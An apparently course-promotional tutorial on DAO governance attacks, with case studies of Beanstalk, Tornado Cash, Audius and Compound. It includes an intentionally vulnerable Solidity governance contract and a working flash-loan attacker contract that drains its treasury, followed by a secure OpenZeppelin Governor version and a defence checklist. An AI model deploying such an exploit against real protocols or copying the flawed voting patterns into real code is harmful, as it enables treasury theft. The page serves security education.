Dao Governance Attacks
Smart Contract Vulnerability Deep Dive
The Ultimate Guide to DAO Governance Attacks: Hijacking DeFi Treasuries
DAO governance attacks are among the most sophisticated exploits in DeFi - and they're only getting more dangerous. From the infamous $182 million Beanstalk flash loan heist to Tornado Cash's cunning contract-morphing takeover, attackers have proven a terrifying truth: controlling a protocol's governance is often far more profitable than exploiting its code.
Why bother hacking the vault when you can just vote to hand yourself the keys?
In this comprehensive guide, we'll dive deep into everything from simple voting manipulation to the devious, flash-loan-fueled techniques used in real-world governance exploits. You'll get hands-on with Solidity code examples, learn how attackers think, and discover the battle-tested prevention strategies needed to bulletproof your DAO.
What Exactly Is a DAO Governance Attack?
A DAO governance attack happens when an attacker games the decentralized decision-making process to pass malicious proposals. The end goal? Draining treasuries, minting infinite tokens, or permanently seizing control of the protocol.
Unlike a typical smart contract hack that targets logic bugs, a governance attack exploits the rules of the DAO itself. It’s not a bug; it’s a hostile takeover.
Attackers accumulate massive voting power - by buying up tokens, abusing flash loans, or exploiting contract initialization flaws - and then push through proposals that serve only one master: themselves.
The "Shareholder Coup" Analogy
To understand this, picture a publicly traded company where anyone can buy shares and vote at the shareholder meeting instantly, with zero waiting period.
An attacker walks into a bank, borrows a billion dollars for 10 seconds, buys a majority stake in the company, votes to transfer the entire company treasury to their personal bank account, executes the transfer, sells the shares, and repays the loan.
All of this happens before the other shareholders can even raise their hands to object.
That's exactly how a flash loan governance attack works! But on the blockchain, this entire hostile "coup" happens in a single transaction that takes milliseconds.
Why DAO Governance Attacks Keep Founders Up At Night
Governance vulnerabilities have caused some of the most catastrophic, jaw-dropping losses in the history of decentralized finance:
| Infamous Hack | Year | The Staggering Impact |
|---|---|---|
| Beanstalk Farms | 2022 | $182M instantly stolen via flash loan governance exploit |
| UPCX Protocol | 2025 | $70M drained via classic governance hijack |
| The DAO | 2016 | $60M siphoned (led to the infamous Ethereum chain hard fork) |
| GreenField DAO | 2025 | $31M vanished in a single-block flash loan attack |
| Compound DAO | 2024 | $24M forced treasury allocation by a persistent crypto whale |
| Audius | 2022 | $6M stolen by exploiting proxy re-initialization |
| Tornado Cash | 2023 | 100% governance takeover via malicious contract morphing |
🧠 What makes governance attacks so terrifying? They're often technically "legitimate." The attacker doesn't break the rules; they strictly follow the protocol's own rules to acquire enough power to rewrite them in their favor.
Want to exploit governance vulnerabilities yourself in a safe, simulated lab environment? The Smart Contract Hacking course includes deep-dive, hands-on governance attack exercises where you'll hijack DAOs and drain treasuries - exactly like top-tier security researchers do.
Anatomy of a Disaster: The $182M Beanstalk Farms Hack 💥
The Beanstalk attack wasn't just a "hack." It was an absolute $182 million masterclass in exploiting dangerous governance design flaws scaling with unlimited flash loan capital.
What Was Beanstalk, Anyway?
Beanstalk operated as a decentralized credit-based stablecoin protocol on the Ethereum blockchain. Its governance relied on a Stalk token system. When users deposited assets into the protocol's treasury (the "Silo"), they earned Stalks relative to their deposited bags. Thus, Stalks represented voting power.
The fatal flaw: Beanstalk's smart contract governance system included an incredibly risky emergencyCommit() function. It was designed to allow immediate execution of any proposal that reached a two-thirds mathematically supermajority - bypassing any standard timelocks or voting delays.
The Attack (The 13-Second Heist): April 17, 2022
On this fateful Sunday, a single attacker initiated one of the most brilliant governance exploits the DeFi world had ever seen. The wild part? They executed the entire hack in a single Ethereum transaction.
Here's the mind-blowing part: The hacker flash-borrowed over $1 billion in liquidity from Aave, Uniswap, and SushiSwap. They swiftly converted those funds into the required silo assets to earn enormous Stalk governance voting power. Instantly armed with a supermajority (over 67%), they voted on their own malicious proposal, drained the entire protocol treasury, seamlessly repaid all $1 billion in flash loans with their respective fees, and strolled away into the sunset with $76 million in pure profit.
All of this spanned roughly 13 seconds.
💡 Insult to injury: The malicious "poison pill" proposal (BIP-18) had actually been publicly sitting on-chain for days prior to the flash loan execution. But because of a lack of robust community alerting systems and a complete absence of an execution timelock, nobody realized what it would do before it was too late.
The Hack, Step-By-Step
Here is the exact attack flow, fully unpacked:
| Phase | Action | The Technical Detail |
|---|---|---|
| 1. | Flash loan $1B+ | Pulled incredible liquidity from Aave, Uniswap, and SushiSwap |
| 2. | Convert to Silo assets | Swapped tokens into BEAN3CRV-f and BEANLUSD-f LP tokens |
| 3. | Deposit into Silo | Minted Stalks on Beanstalk to instantly gain 67% voting power |
| 4. | Vote on BIP-18 | Pre-submitted malicious proposal to siphon out the liquidity pools |
| 5. | Trigger emergencyCommit() |
Exploited the immediate execution feature - zero timelock! |
| 6. | Drain the treasury | Plundered $182M in decentralized assets straight to their address |
| 7. | Repay & Vanish | Repaid the initial flash loans; pocketed $76M in clean, irreversible profit |
Fun fact: To muddy the waters (or perhaps clean their conscience), the attacker also snuck in BIP-19, successfully donating $250K in BEAN tokens directly to Ukraine's public crypto donation wallet.

The Bitter Aftermath
Following the devastation, the Beanstalk protocol was forced to immediately pause all on-chain operations and replaced their DAO with a highly centralized, community-run multisig wallet to stop the bleeding. When the protocol eventually relaunched, they learned the hard way - incorporating rigorous execution timelocks and past-snapshot-based voting.
As for the attacker? They meticulously scrubbed their $76M ($24,830 ETH) clean by filtering it through the Tornado Cash mixer in a staggering 270 separate transactions.
How Governance Attacks Work: Step-by-Step
Understanding the attack mechanism is crucial for prevention. At their core, governance attacks follow a predictable pattern.
The Attack Flow
The attacker obtains governance tokens through purchase, flash loans, delegation exploits, or re-initialization vulnerabilities. Flash loans let attackers borrow billions in a single transaction.
The attacker either submits a new proposal or votes on a pre-staged one. The proposal contains malicious calldata -- often disguised as a routine treasury allocation or parameter update.
The attacker exploits missing timelocks, low quorum thresholds, emergency execution functions, or same-block voting to push the proposal through before the community can react.
Once the proposal passes, the attacker executes it to drain the treasury, mint tokens, upgrade proxy contracts, or permanently seize governance control. If flash loans were used, they're repaid in the same transaction.

The Many Faces of Governance Hacks
Governance attacks are not "one size fits all." They come in several distinct, highly engineered flavors, each exploiting a uniquely fatal weakness in DAO design:
Beyond these "big three," researchers and attackers have mapped out a few more devious vectors you absolutely must know:
-
Proxy Re-Initialization: Exploiting uninitialized state or terrifying storage collisions in upgradeable proxy contracts to literally re-initialize governance parameters mid-flight. The Audius hack ($6M, 2022) leveraged this to secretly reset the quorum to 1% and the voting delay to 0, immediately ramming through a massive treasury theft.
-
Vote Buying & Bribery: These can be on-chain (using sophisticated bribery protocols like Votium) or off-chain arrangements designed entirely to manipulate governance gauges. Remember the Mochi incident on Curve? A jaw-dropping $46M was weaponized to manipulate reward gauge voting before the Emergency DAO intervened.
-
Quorum Manipulation (The Apathy Exploit): High exploiting chronic low voter turnout. If a governance system has inadequate minimum quorum thresholds and only 4%-5% of the total token holders historically bother to vote, an attacker only needs a slightly larger fraction of the circulating supply to become a dictator.
Vulnerable Solidity Code: The "Do Not Deploy" DAO
Let's put down the theory and get our hands dirty. Below is a simplified - but alarmingly realistic - governance contract plagued with multiple critical vulnerabilities.
⚠️ WARNING: This contract is completely unsafe and intentionally riddled with logic flaws for educational purposes. Never deploy patterns like this in production.
The Vulnerable Protocol
// VULNERABLE CONTRACT - DO NOT USE IN PRODUCTION
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract VulnerableDAO {
IERC20 public govToken;
uint256 public proposalCount;
struct Proposal {
address target;
bytes callData;
uint256 forVotes;
uint256 againstVotes;
bool executed;
uint256 endTime;
}
mapping(uint256 => Proposal) public proposals;
mapping(uint256 => mapping(address => bool)) public hasVoted;
constructor(address _token) {
govToken = IERC20(_token);
}
// VULNERABILITY 1: No proposal threshold -- anyone can propose
function propose(address target, bytes calldata data)
external returns (uint256)
{
proposalCount++;
proposals[proposalCount] = Proposal({
target: target,
callData: data,
forVotes: 0,
againstVotes: 0,
executed: false,
endTime: block.timestamp + 1 days
});
return proposalCount;
}
// VULNERABILITY 2: Uses current balance -- flash loans work!
function vote(uint256 proposalId, bool support) external {
Proposal storage p = proposals[proposalId];
require(block.timestamp < p.endTime, "Voting ended");
require(!hasVoted[proposalId][msg.sender], "Already voted");
// Reads CURRENT balance, not a past snapshot
uint256 weight = govToken.balanceOf(msg.sender);
hasVoted[proposalId][msg.sender] = true;
if (support) {
p.forVotes += weight;
} else {
p.againstVotes += weight;
}
}
// VULNERABILITY 3: No timelock -- immediate execution
// VULNERABILITY 4: No quorum requirement
function execute(uint256 proposalId) external {
Proposal storage p = proposals[proposalId];
require(!p.executed, "Already executed");
require(p.forVotes > p.againstVotes, "Not passed");
p.executed = true;
// VULNERABILITY 5: Arbitrary external call
(bool success, ) = p.target.call(p.callData);
require(success, "Execution failed");
}
}
Why Is This DAO a Ticking Time Bomb?
If you deploy this, it's not a question of if you get hacked, but when. The contract harbors five critical compounding flaws that work together to create a nightmare scenario:
-
No Snapshot Voting – It blindly uses
balanceOf(msg.sender)at the current block. This means flash-loaned tokens - which exist in the attacker’s wallet for merely a millisecond - count as valid votes! -
No Execution Timelock – Proposals fire the exact moment they pass (
endTimeexpires, or in similar variants, executed immediately). The legitimate community is left totally blind with zero time to form a defense. -
Zero Quorum Requirement – Even if only one token is cast in favor and none against, the proposal is rubber-stamped.
-
No Minimum Proposal Threshold – Literally any address with 0 tokens can spin up endless proposals, drowning the community in spam and hiding the real malicious payload.
-
Arbitrary External Execution – By combining
target.call(callData), the passed proposal has godly permissions. It can force the DAO to drain the treasury, maliciously upgrade proxy implementations, or print infinite tokens.
The attacker flash-loaned massive capital, voted with real-time balances, and exploited an emergency execution path free of any timelock. Auditing governance means you must secure all five layers - patching just one is simply not enough.
The Attacker Contract: Writing the Exploit
So, how does a bad actor actually pull this off on-chain? Here is the exact Solidity blueprint an attacker would use to chain a flash loan directly into the vulnerable DAO.
🧪 Reminder: This exploit contract is strictly for educational purposes and local lab testing to help you understand attack mechanics.
// ATTACKER CONTRACT - Educational purposes only
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IFlashLender {
function flashLoan(address token, uint256 amount) external;
}
interface IVulnerableDAO {
function propose(address target, bytes calldata data)
external returns (uint256);
function vote(uint256 proposalId, bool support) external;
function execute(uint256 proposalId) external;
}
contract GovernanceAttacker {
IFlashLender public lender;
IVulnerableDAO public dao;
IERC20 public govToken;
address public treasury;
constructor(
address _lender,
address _dao,
address _token,
address _treasury
) {
lender = IFlashLender(_lender);
dao = IVulnerableDAO(_dao);
govToken = IERC20(_token);
treasury = _treasury;
}
function attack() external {
// Step 1: Borrow massive governance tokens
lender.flashLoan(
address(govToken),
govToken.balanceOf(address(lender))
);
// Flash loan callback executes steps 2-5
}
// Called by flash loan provider
function onFlashLoan(uint256 amount) external {
// Step 2: Create proposal to drain treasury
bytes memory drainCall = abi.encodeWithSignature(
"transfer(address,uint256)",
address(this),
IERC20(treasury).balanceOf(treasury)
);
uint256 proposalId = dao.propose(treasury, drainCall);
// Step 3: Vote with borrowed tokens
dao.vote(proposalId, true);
// Step 4: Execute immediately (no timelock!)
dao.execute(proposalId);
// Step 5: Repay flash loan, keep the profit
govToken.transfer(address(lender), amount);
}
}
Deconstructing the Flash Loan Exploit Flow
When executed on-chain, his entire process unfolds smoothly within a single block:
-
Borrow (The Setup): The attacker flash-loans millions of liquid governance tokens (requiring exactly zero upfront collateral).
-
Propose (The Payload): The attacker queues a malicious proposal structured to siphon the DAO's treasury directly to their own wallet.
-
Vote (The Hijack): Using the temporarily borrowed tokens, the attacker secures absurdly overwhelming voting power and votes "Yes".
-
Execute (The Drain): Because there's no voting delay or execution timelock, the attacker calls
execute()instantly. -
Repay (The Getaway): The protocol is fully drained. The original flash loan is automatically repaid from the spoils. The attacker vanishes with the remaining stolen treasury.
🤯 Real-World Reality Check: In the Beanstalk attack, the hacker flash-loaned over $1 billion across three different lending protocols simultaneously, dynamically routed the funds through complex liquidity pools to synthesize the exact max-voting-power assets needed, and finally hammered the
emergencyCommit()function.
{
"title": "🎬 Flash-loan governance capture: borrow a supermajority, drain the treasury",
"stage": { "width": 920, "height": 440 },
"nodes": [
{ "id": "lender", "label": "Flash-loan Pools", "role": "Aave · Uniswap · Sushi", "emoji": "🏦", "x": 640, "y": 40, "color": "blue" },
{ "id": "attacker", "label": "Attacker", "role": "exploit contract", "emoji": "🧑💻", "x": 60, "y": 200, "color": "red" },
{ "id": "dao", "label": "DAO Governance", "role": "no timelock", "emoji": "🏛️", "x": 380, "y": 330, "color": "purple" },
{ "id": "treasury", "label": "Treasury", "role": "holds $182M", "emoji": "💰", "x": 720, "y": 330, "color": "cyan" }
],
"links": [
{ "from": "attacker", "to": "lender" },
{ "from": "attacker", "to": "dao" },
{ "from": "dao", "to": "treasury" },
{ "from": "treasury", "to": "attacker" }
],
"nets": [
{ "id": "atk", "label": "Attacker Net" },
{ "id": "treasury", "label": "Treasury Net" }
],
"legend": [
{ "cls": "call", "label": "contract call" },
{ "cls": "token", "label": "token / value" },
{ "cls": "sig", "label": "vote / state" },
{ "cls": "fail", "label": "blocked" }
],
"scenarios": {
"Vulnerable (no timelock)": [
{ "note": "The attacker holds almost no governance tokens - nowhere near enough to pass a proposal on their own.", "hi": ["attacker"], "bal": { "attacker": "~0 votes", "treasury": "$182M" }, "net": { "atk": "$0", "treasury": "$182M" } },
{ "note": "<b>Flash-loan:</b> borrow over <b>$1B</b> of governance tokens across three pools - zero collateral, repaid by the end of the transaction.", "hi": ["lender","attacker"], "bal": { "attacker": "67% votes" }, "chip": { "from": "lender", "to": "attacker", "label": "💸 borrow $1B", "cls": "token" } },
{ "note": "Armed with a borrowed supermajority, the attacker votes YES on the pre-staged malicious proposal (BIP-18).", "tone": "bad", "hi": ["attacker","dao"], "chip": { "from": "attacker", "to": "dao", "label": "🗳️ vote YES (67%)", "cls": "sig" } },
{ "note": "No execution timelock: the attacker calls <b>emergencyCommit()</b> and executes the proposal in the very same block.", "tone": "bad", "hi": ["attacker","dao"], "chip": { "from": "attacker", "to": "dao", "label": "📞 execute()", "cls": "call" } },
{ "note": "The proposal sweeps the treasury straight to the attacker.", "tone": "bad", "hi": ["dao","treasury"], "bal": { "treasury": "$0" }, "net": { "treasury": "-$182M" }, "chip": { "from": "treasury", "to": "attacker", "label": "🏦 drain $182M", "cls": "token" } },
{ "note": "The flash loan is repaid from the loot in the same transaction; the attacker walks away with <b>~$76M</b> in clean profit.", "tone": "bad", "hi": ["attacker","lender"], "net": { "atk": "+$76M" }, "chip": { "from": "attacker", "to": "lender", "label": "repay $1B + fee", "cls": "token" } }
],
"Fixed (timelock + snapshot)": [
{ "note": "Same starting point: the attacker owns almost no real voting tokens.", "hi": ["attacker"], "bal": { "attacker": "~0 votes", "treasury": "$182M" }, "net": { "atk": "$0", "treasury": "$182M" } },
{ "note": "Voting power is <b>snapshotted at the proposal's creation block</b>. Tokens flash-borrowed afterward simply do not count.", "tone": "ok", "hi": ["attacker","dao"], "bal": { "attacker": "0 effective votes" }, "chip": { "from": "attacker", "to": "dao", "label": "snapshot: 0 votes", "cls": "sig" } },
{ "note": "Even a passed vote cannot execute immediately: a multi-day <b>timelock</b> delays it - but the flash loan must be repaid within this one transaction.", "tone": "ok", "hi": ["attacker","dao"], "chip": { "from": "attacker", "to": "dao", "label": "⏳ timelock (2 days)", "cls": "fail" } },
{ "note": "The borrowed votes vanish the instant the loan is repaid, long before execution is allowed. The treasury is never touched.", "tone": "ok", "hi": ["treasury"], "bal": { "treasury": "$182M safe" }, "net": { "treasury": "$182M" } }
]
}
}
Want to level up and write exploits like this yourself? The Smart Contract Hacking course breaks down governance attacks step-by-step using actual, deeply-technical, real-world bug scenarios. Taught by JohnnyTime (12+ years in enterprise cybersecurity) and Trust (a legendary #1 Code4rena ranked warden).
How to Prevent Governance Attacks (The Bulletproof Setup)
Securing a DAO is like securing a bank vault - you do not rely on just one lock. Preventing governance manipulation outright requires an unyielding defense-in-depth architecture stacking multiple protective mechanisms.
What it does: Records voting power at a past block number (the "snapshot") before a proposal is created. Flash-loaned tokens acquired after the snapshot have zero voting power.
When to use: Every on-chain governance system. This is the single most important defense against flash loan governance attacks.
Limitation: Does not prevent attacks where tokens are acquired before the snapshot block. Attackers who hold tokens long-term can still accumulate voting power.
What it does: Forces a mandatory delay (24-48 hours minimum) between proposal approval and execution. Gives the community and monitoring systems time to detect and respond to malicious proposals.
When to use: All governance systems. OpenZeppelin's TimelockController is the standard implementation.
Limitation: Adds latency to legitimate governance actions. Emergency situations require separate mechanisms (Emergency DAO multisig).
What it does: Requires a minimum number of votes (or percentage of total supply) before a proposal can pass. Prevents low-participation attacks where a single whale controls the outcome.
When to use: All governance systems. Set quorum at 4-10% of total supply, depending on expected voter turnout.
Limitation: If voter apathy is severe, even reasonable quorum thresholds may block legitimate proposals. Requires active governance participation from token holders.
What it does: Requires token holders to lock tokens for a defined period (weeks to years) to gain voting power. Voting weight scales with lock duration, rewarding long-term commitment.
When to use: Protocols that want to align voting power with long-term stakeholder interest. Popularized by Curve Finance (veCRV).
Limitation: Creates meta-governance risks (e.g., Convex controlling most veCRV). Whale accumulation over time can still centralize power, as seen in the Curve Wars.
The "Fort Knox" DAO: Secure OpenZeppelin Implementation
Let's do it right. Here is a production-ready, robust implementation that safely abstracts complexity utilizing the battle-tested OpenZeppelin Governor modular framework, heavily stacked with critical defensive extensions.
// SECURE CONTRACT - Production-ready
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/governance/Governor.sol";
import "@openzeppelin/contracts/governance/extensions/GovernorVotes.sol";
import "@openzeppelin/contracts/governance/extensions/GovernorVotesQuorumFraction.sol";
import "@openzeppelin/contracts/governance/extensions/GovernorTimelockControl.sol";
import "@openzeppelin/contracts/governance/extensions/GovernorCountingSimple.sol";
contract SecureDAO is
Governor,
GovernorVotes,
GovernorVotesQuorumFraction,
GovernorTimelockControl,
GovernorCountingSimple
{
// STEP 1: CONSTRUCTOR - Configure all governance parameters
constructor(
IVotes _token,
TimelockController _timelock
)
Governor("SecureDAO")
GovernorVotes(_token) // Snapshot-based voting
GovernorVotesQuorumFraction(4) // 4% quorum required
GovernorTimelockControl(_timelock) // 48-hour execution delay
{}
// STEP 2: VOTING DELAY - 1 day between proposal and voting start
// Prevents surprise proposals; gives community time to review
function votingDelay() public pure override returns (uint256) {
return 7200; // ~1 day in blocks (12s per block)
}
// STEP 3: VOTING PERIOD - 1 week for the community to vote
function votingPeriod() public pure override returns (uint256) {
return 50400; // ~1 week in blocks
}
// STEP 4: PROPOSAL THRESHOLD - Must hold 1% of supply to propose
// Prevents spam proposals from zero-balance addresses
function proposalThreshold() public pure override returns (uint256) {
return 100_000e18; // 100,000 tokens (adjust to ~1% of supply)
}
// Required overrides for multiple inheritance
function state(uint256 proposalId) public view override(Governor, GovernorTimelockControl)
returns (ProposalState) { return super.state(proposalId); }
function proposalNeedsQueuing(uint256 proposalId) public view override(Governor, GovernorTimelockControl)
returns (bool) { return super.proposalNeedsQueuing(proposalId); }
function _queueOperations(uint256 pid, address[] memory t, uint256[] memory v, bytes[] memory c, bytes32 h)
internal override(Governor, GovernorTimelockControl) returns (uint48) { return super._queueOperations(pid, t, v, c, h); }
function _executeOperations(uint256 pid, address[] memory t, uint256[] memory v, bytes[] memory c, bytes32 h)
internal override(Governor, GovernorTimelockControl) { super._executeOperations(pid, t, v, c, h); }
function _cancel(address[] memory t, uint256[] memory v, bytes[] memory c, bytes32 h)
internal override(Governor, GovernorTimelockControl) returns (uint256) { return super._cancel(t, v, c, h); }
function _executor() internal view override(Governor, GovernorTimelockControl)
returns (address) { return super._executor(); }
}
Why This Implementation Is Safe (Security Features at a Glance)
| The Safe Feature | The Armor Provided | The Vulnerable Mistake It Fixes |
|---|---|---|
GovernorVotes (Snapshot) |
Voting power strictly locked in at a past block | Blindly querying balanceOf(), allowing flash loans |
GovernorTimelockControl (48h+ Delay) |
Community explicitly given a window to counter-act | Immediate rug-pull execution via an emergencyCommit() |
GovernorVotesQuorumFraction (4%+) |
Proposal mathematically blocked unless X% vote | Zero quorum requirement (literally a 1-vote dictator) |
proposalThreshold (~1% of supply) |
Only seriously vested token holders can propose | Allowing absolute nobodies with 0-balance spam the DAO |
votingDelay (1 day offset) |
Halts panic; gives humans time to manually parse code | No delay; proposing, voting, and passing in a few blocks |
votingPeriod (1 week duration) |
Actually gives token holders across global timezones a chance to cast votes | A microscopically short window meant only for bots |
🛡️ The Verdict: Had the protocols listed above used this exact architecture, the Beanstalk flash-loan, the Audius storage hijack, and the Compound whale takeover would have cleanly failed. OpenZeppelin's Governor stands as the dominant industry standard for an overwhelmingly clear reason.
Even the revered Governor framework isn't bulletproof and has suffered high-profile CVEs over time (e.g., CVE-2023-34234 for deterministic ID frontrunning DoS, GHSA-xrc4-737v-9q75 for retroactive quorum edge cases). A top-tier auditor always verifies the protocol is deploying the latest patched OpenZeppelin version!
Going Beyond Flash Loans: Top-Tier Real-World Case Studies
These highly elevated, technically astonishing attacks demonstrate how sophisticated smart contract adversaries approach governance bugs when standard flash loan doors are securely locked shut.
1. Tornado Cash: Contract Morphing Attack (May 2023)
The Tornado Cash governance takeover was one of the most technically sophisticated attacks in DeFi history. The attacker exploited CREATE2 + selfdestruct to morph a contract's code after it was approved by governance.
How it worked:
| Step | Action | Technical Detail |
|---|---|---|
| 1 | Deploy proposal factory | Used CREATE2 for deterministic address |
| 2 | Create "harmless" proposal | Deployed via CREATE at a predictable address |
| 3 | Community votes to approve | Code looked legitimate during review |
| 4 | selfdestruct both contracts |
Destroyed the approved proposal code |
| 5 | Re-deploy malicious code | Same address via CREATE2 (nonce reset to 0) |
| 6 | Execute the morphed proposal | Governance executes -- but the code changed |
The malicious code assigned 10,000 TORN tokens to each of 100 pre-created accounts, giving the attacker 1.2 million votes against 700,000 legitimate votes -- total governance control.
Key lesson: Code review at proposal time is not enough. If the proposal references an external contract, that contract's code can change between approval and execution. Always use timelocks and verify code at execution time.
2. Compound DAO: The Whale Governance Saga (July 2024)
The Compound attack proved that you don't need flash loans or code exploits to take over governance -- just deep pockets and patience.
A crypto whale named "Humpy" and their group "Golden Boys" orchestrated a coordinated campaign:
-
May 2024: First attempt (Proposal 118) to allocate 5% of treasury ($24M in COMP) to a multisig they controlled. Community detected it and voted it down.
-
July 2024: Third attempt (Proposal 289) passed by a razor-thin margin: 682,191 to 633,636 votes.
-
Five wallets delegated 228,000+ COMP ($12M) obtained from Bybit exchange to boost voting power.
The community ultimately negotiated a settlement -- Humpy agreed to revoke the proposal in exchange for a staking product distributing 30% of reserves to COMP stakers.
Key lesson: Even with proper timelocks and snapshots, whale accumulation can overwhelm governance. Consider vote delegation caps, conviction voting, or limiting governance scope to prevent treasury raids.
3. Audius: Proxy Storage Collision (July 2022)
The Audius hack combined a proxy vulnerability with governance manipulation for a $6M theft.
The root cause was a storage collision between the proxy and implementation contracts. The proxy's proxyAdmin address occupied storage slot 0 -- the same slot where OpenZeppelin's Initializable contract stored its initialized boolean.
Because the last byte of the admin address was 0xac (truthy), the contract appeared initialized. But the attacker discovered they could call initialize() again due to the collision overwriting the initialization guard.
The attacker:
-
Called
initialize()on the Governance contract -- resettingvotePeriodto 3 blocks andvotingQuorumPercentto 1% -
Submitted a proposal to transfer $6M in AUDIO tokens to their wallet
-
With the 1% quorum, the proposal passed almost instantly
-
Drained the community treasury
The Audius team (with help from samczsun) used the same vulnerability to regain control and deploy emergency patches.
4. GreenField DAO: Flash Loan Single-Block Attack (April 2025)
The GreenField DAO attack proved that governance exploits are not slowing down. In April 2025, an attacker flash-borrowed 9 million GOV tokens, passed a malicious proposal, and drained $31 million from the DAO treasury -- all within a single Ethereum block.
The protocol had no snapshot-based voting, no timelock on execution, and no flash-loan resistance. It was a textbook repetition of the Beanstalk pattern three years later.
Key lesson: Despite Beanstalk being widely studied since 2022, new protocols continue deploying governance without basic protections. If your governance uses current-block token balances and has no timelock, you are already vulnerable.
Comparing Defense Architectures
No Timelock + Current Balance
Governance with no execution delay and voting based on current token balance. Flash loans can pass and execute malicious proposals in a single transaction. Beanstalk lost $182M this way.
Snapshot + Short Timelock
Snapshot-based voting blocks flash loans, but short timelocks (1-6 hours) may not give the community enough time to react. Low quorum thresholds still allow whale manipulation.
Full OZ Governor Stack
OpenZeppelin Governor with snapshot voting, 48h+ timelock, 4%+ quorum, proposal threshold, voting delay, and an Emergency DAO multisig for critical response. Defense-in-depth.
These advanced patterns separate junior auditors from senior researchers. The Smart Contract Hacking course covers governance attacks, flash loans, oracle manipulation, and more. Join 2,000+ security researchers in our Discord community.
4 Dangerous Misconceptions About Governance Attacks (Debunked)
"If I use OpenZeppelin Governor, my governance is safe."
Tap to revealOpenZeppelin provides the building blocks, but configuration matters. Setting a 1-minute timelock, 0.01% quorum, or skipping the proposal threshold defeats the purpose. The Compound whale attack succeeded against a properly built governance system because the quorum was too low relative to actual voter turnout.
"Snapshot voting completely prevents flash loan attacks."
Tap to revealSnapshot voting measures balances at a past block, so flash-loaned tokens acquired after the snapshot have zero voting power. However, if an attacker knows the snapshot block in advance, they can acquire tokens before it. This is why voting delay should be non-trivial and snapshot blocks should not be predictable far in advance.
"Governance attacks are only possible with flash loans."
Tap to revealFlash loans are just one vector. Whale accumulation (Compound), contract morphing (Tornado Cash), proxy re-initialization (Audius), vote buying, and social engineering of delegates are all viable attack paths. The most dangerous governance attacks don't use flash loans at all.
"On-chain governance is always more secure than a multisig."
Tap to revealEach approach has trade-offs. On-chain governance is more decentralized but vulnerable to token-based attacks. Multisigs are more responsive in emergencies but create centralization risks. Many mature protocols use both: on-chain governance for normal operations and a trusted multisig Emergency DAO for critical response.
Related Vulnerabilities
Governance attacks frequently overlap with other vulnerability classes, creating compound exploits that amplify damage.
Flash loan attacks are the primary enabler of governance exploits. The Beanstalk attacker borrowed over $1 billion in flash loans to acquire temporary voting power. Understanding flash loan mechanics is essential for auditing any governance system that uses token-weighted voting without snapshot protection.
Access control attacks and governance vulnerabilities share a common theme: who has the power to change the system? The Audius hack was fundamentally an access control failure -- the initialize() function that resets governance parameters lacked proper protection. Similarly, emergency execution functions like Beanstalk's emergencyCommit() are access control decisions with governance implications.
Oracle manipulation attacks can interact with governance systems when governance tokens derive value from or are priced by oracles. An attacker who manipulates the price of a governance token can make it cheaper to acquire voting power, lowering the cost of a governance takeover.
Test Your Governance Attack IQ
5 questions -- How well do you really know this attack?
Frequently Asked Questions (FAQ) About Governance Attacks
A governance attack is when someone manipulates a DAO's voting system to pass malicious proposals -- like draining the treasury or minting tokens for themselves. Think of it as rigging an election: the attacker acquires enough "votes" (governance tokens) to push through whatever they want, often using flash loans to borrow billions of dollars worth of tokens for just seconds.
Flash loans let attackers borrow massive amounts of governance tokens with zero collateral, as long as they repay within the same transaction. If a DAO uses current token balances for voting (instead of snapshot-based voting), the attacker can borrow tokens, vote on a malicious proposal, execute it immediately, and repay -- all in one atomic transaction lasting seconds.
Yes. Any EVM-compatible chain (BSC, Polygon, Arbitrum, Avalanche, Base, etc.) running DAO governance contracts is susceptible to the same attack vectors. Additionally, cross-chain governance introduces new risks -- if votes are relayed across bridges, attackers can potentially exploit bridge delays or replay votes.
A 51% attack targets the blockchain's consensus layer (mining/staking) to rewrite transaction history. A governance attack targets a protocol's decision-making layer (DAO voting) to pass malicious proposals. Both involve acquiring majority control, but governance attacks are cheaper -- you only need to control voting tokens, not the entire network's hash rate or stake.
The cost varies dramatically. Flash loan attacks can be nearly free (just gas fees) if the protocol lacks snapshot voting. Whale accumulation attacks require purchasing enough tokens for a majority -- which could range from thousands to hundreds of millions of dollars. The Beanstalk attacker spent only gas fees (around $200) but walked away with $76M in profit.
OpenZeppelin's Governor provides strong defenses when properly configured. It includes snapshot-based voting (GovernorVotes), quorum requirements (GovernorVotesQuorumFraction), and timelock integration (GovernorTimelockControl). However, misconfiguration -- like setting a 0-second timelock or 0.01% quorum -- can still leave the protocol vulnerable. The framework is secure; the parameters must be too.
Quick Reference: Governance Security Checklist
Before deploying any governance system:
-
Use snapshot-based voting (OpenZeppelin
GovernorVotes) -- never current-block balances -
Implement a timelock (minimum 24-48 hours) on all governance execution
-
Set meaningful quorum (4-10% of total supply) based on expected voter turnout
-
Require a proposal threshold (0.5-1% of supply to propose) to prevent spam
-
Add voting delay (at least 1 day between proposal creation and voting start)
-
Set adequate voting period (3-7 days minimum for the community to participate)
-
Protect initialization functions with
initializermodifier and_disableInitializers() -
Verify proposal code at execution -- not just at creation time (prevent contract morphing)
-
Create an Emergency DAO (multisig with veto power for critical threats)
-
Limit governance scope -- restrict what governance can change (e.g., can't drain 100% of treasury in one proposal)
-
Get professional security audits focused on governance attack vectors
-
Monitor on-chain governance activity for unusual proposal or voting patterns
The Final Word: Web3's Most Silent, Devastating Killer
DAO governance attacks rarely make for chaotic Twitter threads the way flashy, heavily-obfuscated reentrancy exploits or massive bridge hacks do. Because the code actually did what it was programmed to do. Yet, these structural takeovers are among the most destructive and existential threats in the entire Web3 ecosystem:
-
💀 $182M instantly vanishing from Beanstalk via a brutal flash loan (2022)
-
💀 $70M gracefully siphoned from UPCX Protocol through a pure governance hijack (2025)
-
💀 100% centralized protocol takeover of Tornado Cash through a mind-bending contract-morphing bait-and-switch (2023)
-
💀 $31M casually taken from GreenField DAO in another single-block flash loan exploit (2025)
-
💀 $24M uncomfortably squeezed out of Compound's native treasury by an ultra-rich patience-whale (2024)
-
💀 $6M swiped from Audius due to a proxy initialization storage crash tricking governance limits (2022)
The reality is stark. The trend is aggressive, evolving, and getting worse. Well into 2025, multi-million dollar DAOs are still deploying architectures repeating 2022's loudest mistakes. Web3 governance parameters are literally the keys to the kingdom. If a DAO trades strict mechanical security (like delays) for "user convenience", they are effectively leaving the vault unlocked with a neon 'welcome' sign above it.
